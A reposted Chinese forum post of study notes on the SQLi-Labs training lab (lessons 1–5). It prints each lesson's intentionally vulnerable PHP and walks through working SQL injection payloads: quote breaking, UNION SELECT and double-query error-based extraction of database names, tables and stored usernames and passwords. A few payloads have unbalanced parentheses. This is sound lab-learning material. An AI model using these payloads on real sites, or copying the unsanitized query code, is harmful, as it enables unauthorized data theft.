[转帖] SQLi-Labs 学习笔记（Less 1-10）

发表于: 2017-8-3 06:45 5395

[转帖] SQLi-Labs 学习笔记（Less 1-10）

nauyx

2017-8-3 06:45

5395

SQLi-Labs 学习笔记

SQL 百度百科：结构化查询语言，也叫做SQL，从根本上说是一种处理数据库的编程语言。对于初学者，数据库仅仅是在客户端和服务端进行数据存储。SQL通过结构化查询，关系，面向对象编程等等来管理数据库。编程极客们总是搞出许多这样类型的软件，像MySQL，MS SQL ,Oracle以及Postgresql。现在有一些程序能让我们有能力通过结构化查询来管理大型数据库。

SQLi Labs下载地址：https://github.com/Audi-1/sqli-labs

ps：以下的内容有些是我从别人经验当中摘抄下来的，有些是我自己写的，我把四面八方的经验总结起来给大家，也为了提升自己的技术，如有疑问请在评论区提问，谢谢。

Less-1 基于错误的 - get 单引号 - 字符型注入

①先打开网页查看 Welcome Dhakkan

②查看源代码 index.php :

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Less-1 **Error Based- String**</title>
</head>
<body bgcolor="#000000">
<div style=" margin-top:70px;color:#FFF; font-size:23px; text-align:center">Welcome   <font color="#FF0000"> Dhakkan </font><br>
<font size="3" color="#FFFF00">

<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);
// take the variables 
if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);
// connectivity

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
 if($row)
 {
   echo "<font size='5' color= '#99FF00'>";
   echo 'Your Login name:'. $row['username'];
   echo "<br>";
   echo 'Your Password:' .$row['password'];
   echo "</font>";
   }
 else 
 {
 echo '<font color= "#FFFF00">';
 print_r(mysql_error());
 echo "</font>";  
 }
}
 else { echo "Please input the ID as parameter with numeric value";}
?>
</font> </div></br></br></br><center>
<img src="../images/Less-1.jpg" /></center>
</body>
</html>

③可以看到页面中显示：

Please input the ID as parameter with numeric value

按它说的做，那我们就在URL后面输入：

http://localhost/sqli-labs-master/Less-1/?id=1

来我们得到了登录名：Dumb，以及密码：Dumb，那么为什么会显示出来呢？我们来看下index.php中的代码：

if(isset($_GET['id']))     //判断id的值时候有被设置
{
$id=$_GET['id'];     //取出id值
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1"; //构建sql语句，漏洞所在
.....
.....
$result=mysql_query($sql);    //然后查询，并返回结果
$row = mysql_fetch_array($result);
if($row)
{
   echo "<font size='5' color= '#99FF00'>";
   echo 'Your Login name:'. $row['username'];
   echo "<br>";
   echo 'Your Password:' .$row['password'];
   echo "</font>";
   }
 else 
 {
 echo '<font color= "#FFFF00">';
 print_r(mysql_error());
 echo "</font>";  
 }
}
 else { echo "Please input the ID as parameter with numeric value";}
?>

这样一来就明白了为什么会有这样的结果，当然如果你输入不同的id值就会返回不同的结果，实际查询的语句是：

SELECT * FROM users WHERE id='1' LIMIT 0,1;

注意：这里的$id是被单引号包起来的，我可以可以通过 ' 来验证，输入URL：

http://localhost/sqli-labs-master/Less-1/?id=1'

以下还有两个注入可以成功执行：

http://localhost/sqli-labs-master/Less-1/?id=1' or'1'='1
http://localhost/sqli-labs-master/Less-1/?id=1' or 1=1 --+

对应的mysql执行语句：

SELECT * FROM users WHERE id='1' or '1'='1' LIMIT 0,1
SELECT * FROM users WHERE id='' or 1=1 --+' LIMIT 0,1

接下来我们利用 order by 来判断users表中有几列，输入如下：

http://localhost/sqli-labs-master/Less-1/?id=1' order by 1 %23

注意：%23 是指 # 的编码

提示的信息可以使我们确定没有第4列，接下来使用联合语句 union 来查询，输入：

http://localhost/sqli-labs-master/Less-1/?id=-1' union select 1,2,3 %23

注意：细心的朋友可能发现我把1改成-1，原因是当用id=1的时候执行的结果只有一条记录，这是因为在 index.php 中并没有循环取出数据。

解决方法是：让第一行查询的结果是空集（即union左边的select子句查询结果为空），那么我们union右边的查询结果自然就成为了第一行，就打印在网页上了，这个id他一般传的是数字，而且一般都是从1开始自增的，我们可以把id值设为非正数（负数或0），浮点数，字符型或字符串都行。

可以看到只有第2列和第3列的结果显示在页面上，我们只有 2，3可以用，接下来我们就利用 2，3来查询数据库的信息，需要用到的函数有：

concat_ws（）：从数据库里取N个字段，然后组合到一起用符号分割显示，第一个参数剩余参数间的分隔符

char（）：将十进制ASCII码转化成字符

user（）：返回当前数据库连接使用的用户

database（）：返回当前数据库连接使用的数据库

version（）：返回当前数据库的版本

构建如下Sql语句：

http://localhost/sqli-labs-master/Less-1/?id=-1' union select 1,2,(concat_ws(char(32,58,32),user(),database(),version())) %23

注意：这里的32表示 [空格]，58表示 [：] ，执行

知道数据库名了，接下来就是拆解表了。

首先说一下mysql的数据库information_schema，他是系统数据库，安装完就有，记录是当前数据库的数据库，表，列，用户权限等信息，下面说一下常用的几个表

SCHEMATA表：储存mysql所有数据库的基本信息，包括数据库名，编码类型路径等，show databases的结果取之此表。

TABLES表：储存mysql中的表信息，（当然也有数据库名这一列，这样才能找到哪个数据库有哪些表嘛）包括这个表是基本表还是系统表，数据库的引擎是什么，表有多少行，创建时间，最后更新时间等。show tables from schemaname的结果取之此表

COLUMNS表：提供了表中的列信息，（当然也有数据库名和表名称这两列）详细表述了某张表的所有列以及每个列的信息，包括该列是那个表中的第几列，列的数据类型，列的编码类型，列的权限，列的注释等。是show columns from schemaname.tablename的结果取之此表。

注意，查询information_schema中的信息时，使用where语句，那个值不能直接用英文，要用单引号包裹着，当然用其十六进制表示也可以，数值类型的就不用单引号了，这对过滤单引号应该有指导意义。

security的十六进制转换是：0x7365637572697479

16进制转换地址：http://www.bejson.com/convert/ox2str/

那么，接下来。构建 Sql 语句：

http://localhost/sqli-labs-master/Less-1/?id=-1' union select 1,2,table_name from information_schema.tables where table_schema=0x7365637572697479 %23

只返回一个table，原因很简单，还是循环问题。那么我们可以使用limit来依次列举：

不断的改变，limit的第一个参数，就可以一次列举出来，不过太麻烦了，我们直接使用 group_concat函数，该函数返回一个字符串结果，该结果由分组中的值连接组合而成，那么构建 sql 语句：

http://localhost/sqli-labs-master/Less-1/?id=-1' union select 1,group_concat(char(32),username,char(32)),group_concat(char(32),password,char(32)) from users--+

Less-2 基于错误的 - get - 数字型

①先打开网页查看 Welcome Dhakkan

②查看源代码 index.php :

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Less-2 **Error Based- Intiger**</title>
</head>
<body bgcolor="#000000">

<div style=" margin-top:60px;color:#FFF; font-size:23px; text-align:center">Welcome   <font color="#FF0000"> Dhakkan </font><br>
<font size="3" color="#FFFF00">

<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);
// take the variables
if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);

// connectivity 
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
 if($row)
 {
   echo "<font size='5' color= '#99FF00'>";
   echo 'Your Login name:'. $row['username'];
   echo "<br>";
   echo 'Your Password:' .$row['password'];
   echo "</font>";
   }
 else 
 {
 echo '<font color= "#FFFF00">';
 print_r(mysql_error());
 echo "</font>";  
 }
}
 else
  {  
  echo "Please input the ID as parameter with numeric value";
  }
?>

</font> </div></br></br></br><center>
<img src="../images/Less-2.jpg" /></center>
</body>
</html>

③可以看到页面中显示：

Please input the ID as parameter with numeric value

按它说的做，那我们就在URL后面输入：

这样我们就得到了用户名和密码，在 index.php 中唯一的区别就是 $id 没有用单引号包住了，这是因为sql对于数字型的数据可以不加单引号。当然这也使得注入更加容易了，没什么好说的，构建sql语句：

http://localhost/sqli-labs-master/Less-1/?id=-1 union select 1,group_concat(char(32),username,char(32),group_concat(char(32),password,char(32)) from users--+

Less-3基于错误的 - GET单引号变形字符型注入

①先打开网页查看 Welcome Dhakkan

②查看源代码：

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Less-3 Error Based- String (with Twist) </title>
</head>
<body bgcolor="#000000">
<div style=" margin-top:60px;color:#FFF; font-size:23px; text-align:center">Welcome   <font color="#FF0000"> Dhakkan </font><br>
<font size="3" color="#FFFF00">

<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);
// take the variables
if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);
// connectivity

$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
 if($row)
 {
   echo "<font size='5' color= '#99FF00'>";
   echo 'Your Login name:'. $row['username'];
   echo "<br>";
   echo 'Your Password:' .$row['password'];
   echo "</font>";
   }
 else 
 {
 echo '<font color= "#FFFF00">';
 print_r(mysql_error());
 echo "</font>";  
 }
}
 else { echo "Please input the ID as parameter with numeric value";}
?>

</font> </div></br></br></br><center>
<img src="../images/Less-3.jpg" /></center>
</body>
</html>

③可以看到页面中显示：

Please input the ID as parameter with numeric value

按它说的做，那我们就在URL后面输入：

一样的画面，可以发现在 index.php 中的 $id 改成了 ('$id') 了，当然，也很容易验证：

首先看到near和at之间的字符串，直接将左右的引号去掉，那么就得到'-1'') LIMIT 0,1，')是多出来的，因此可以确认这是单引号注入的变形。输入如下sql语句：

http://localhost/sqli-labs-master/Less-3/?id=1')--+

正常显示了吧，基本上就没什么区别了，构建的sql语句如下：

http://localhost/sqli-labs-master/Less-3/?id=-1') union select 1,group_concat(char(32),username,char(32),group_concat(char(32),password,char(32)) from users--+

Less-4基于错误的GET双引号字符型注入

①先打开网页查看 Welcome Dhakkan

②查看源代码：

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Less-4 Error Based- DoubleQuotes String</title>
</head>
<body bgcolor="#000000">
<div style=" margin-top:60px;color:#FFF; font-size:23px; text-align:center">Welcome   <font color="#FF0000"> Dhakkan </font><br>
<font size="3" color="#FFFF00">

<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);
// take the variables
if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);
// connectivity
$id = '"' . $id . '"';
$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
 if($row)
 {
   echo "<font size='5' color= '#99FF00'>";
   echo 'Your Login name:'. $row['username'];
   echo "<br>";
   echo 'Your Password:' .$row['password'];
   echo "</font>";
   }
 else 
 {
 echo '<font color= "#FFFF00">';
 print_r(mysql_error());
 echo "</font>";  
 }
}
 else { echo "Please input the ID as parameter with numeric value";}
?>
</font> </div></br></br></br><center>
<img src="../images/Less-4.jpg" /></center>
</body>
</html>

③可以看到页面中显示：

Please input the ID as parameter with numeric value

按它说的做，那我们就在URL后面输入：

在URL后面加上单引号，发现没有报错，这是为什么呢？因为php中的双引号可以包含单引号 (" $id' ")

解决方法也很简单，直接加上双引号：

将 near 和 at 之间的单引号去点得到，''1'')，很显然使用 (" $id' ")这种形式，解决方法也很简单，构建的sql语句：

http://localhost/sqli-labs-master/Less-4/?id=-1") union select 1,group_concat(char(32),username,char(23)),group_concat(char(32),password,char(32)) from users--+

Less-5双注入GET单引号字符型注入

①先打开网页查看 Welcome Dhakkan

②查看源代码：

<div><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Less-5 Double Query- Single Quotes- String</title>
</head></div><div><body bgcolor="#000000">
<div style=" margin-top:60px;color:#FFF; font-size:23px; text-align:center">Welcome&nbsp;&nbsp;&nbsp;<font color="#FF0000"> Dhakkan </font><br>
<font size="3" color="#FFFF00"></div><div>
<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);
// take the variables
if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);</div><div>// connectivity </div><div>
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);</div><div> if($row)
 {
   echo '<font size="5" color="#FFFF00">'; 
   echo 'You are in...........';
   echo "<br>";
     echo "</font>";
   }
 else 
 {
 
 echo '<font size="3" color="#FFFF00">';
 print_r(mysql_error());
 echo "</br></font>"; 
 echo '<font color= "#0000ff" font size= 3>'; 
 
 }
}
 else { echo "Please input the ID as parameter with numeric value";}</div><div>?></div><div></font> </div></br></br></br><center>
<img src="../images/Less-5.jpg" /></center>
</body>
</html>
</div>

③可以看到页面中显示：

Please input the ID as parameter with numeric value

按它说的做，那我们就在URL后面输入：

提示：You are in.......，没有像之前那样正常输出用户名和密码，怎么回事呢？看下 index.php 中的代码：

if($row)
{
  echo '<font size="5" color="#FFFF00">'; 
  echo 'You are in...........';
  echo "<br>";
    echo "</font>";
 }

怪不得没有，因为根本就没有输出 $row 这个查询结果，由于是双注入，百度了一下，总结如下：

双查询注入顾名思义形式上是两个嵌套的查询，即select ...(select ...)，里面的那个select被称为子查询，他的执行顺序也是先执行子查询，然后再执行外面的select，双注入主要涉及到了几个sql函数：

rand()随机函数，返回0~1之间的某个值

floor(a)取整函数，返回小于等于a，且值最接近a的一个整数

count()聚合函数也称作计数函数，返回查询对象的总数

group by cluase分组语句，按照cluase对查询结果分组

如果还是不懂可以看此链接：http://www.2cto.com/article/201303/192718.html

双注入的原理总的来说就是，当一个聚合函数后面出现group分组语句时，会将查询的一部分结果以报错的形式返回，他有一个固定的公式。那么开始构建sql语句：

http://localhost/sqli-labs-master/Less-5/?id=-1' union select count(*),2,concat('*',(select database()),'*',floor(rand()*2))as a from information_schema.tables group by a--+

获取到数据库名后再用同样的方法获取表名：

http://localhost/sqli-labs-master/Less-5/?id=-1' union select count(*),2,concat('*',(select group_concat(table_name) from information_schema.tables where table_schema='security'),'*',floor(rand()*2))as a from information_schema.tables group by a--+

接下里查询用户信息，构建语句如下：

http://localhost/sqli-labs-master/Less-5/?id=-1' union select count(*),2,concat('*',(select concat_ws(char(32,44,32),id,username,password) from users limit 1,1),'*',floor(rand()*2))as a from information_schema.tables group by a--+

通过改变 limit 的值就可以遍历用户信息了。

参考文献：

http://blog.csdn.net/sherlock17/article/details/64454449

http://blog.csdn.net/u012763794/article/details/51207833

更新中

转帖来自：http://blog.csdn.net/smithjackhack

[招生]科锐逆向工程师培训(2024年11月15日实地，远程教学同时开班, 第51期)

收藏・2

免费・0

支持

最新回复 (1)
破九雪币： 19 活跃值： (74) 能力值： ( LV2，RANK：10 ) 在线值：发帖 10 回帖 287 粉丝 1 关注私信	破九 2 楼不错，支持，现在实践环境少得可怜 2017-8-3 23:31 0
	游客登录 \| 注册方可回帖回帖表情雪币赚取及消费高级回复

nauyx

发帖

回帖

RANK

关注

私信

他的文章

关于我们

联系我们

企业服务

看雪公众号

最新回复 (1)
破九雪币： 19 活跃值： (74) 能力值： ( LV2，RANK：10 ) 在线值：发帖 10 回帖 287 粉丝 1 关注私信	破九 2 楼不错，支持，现在实践环境少得可怜 2017-8-3 23:31 0
	游客登录 \| 注册方可回帖回帖表情雪币赚取及消费高级回复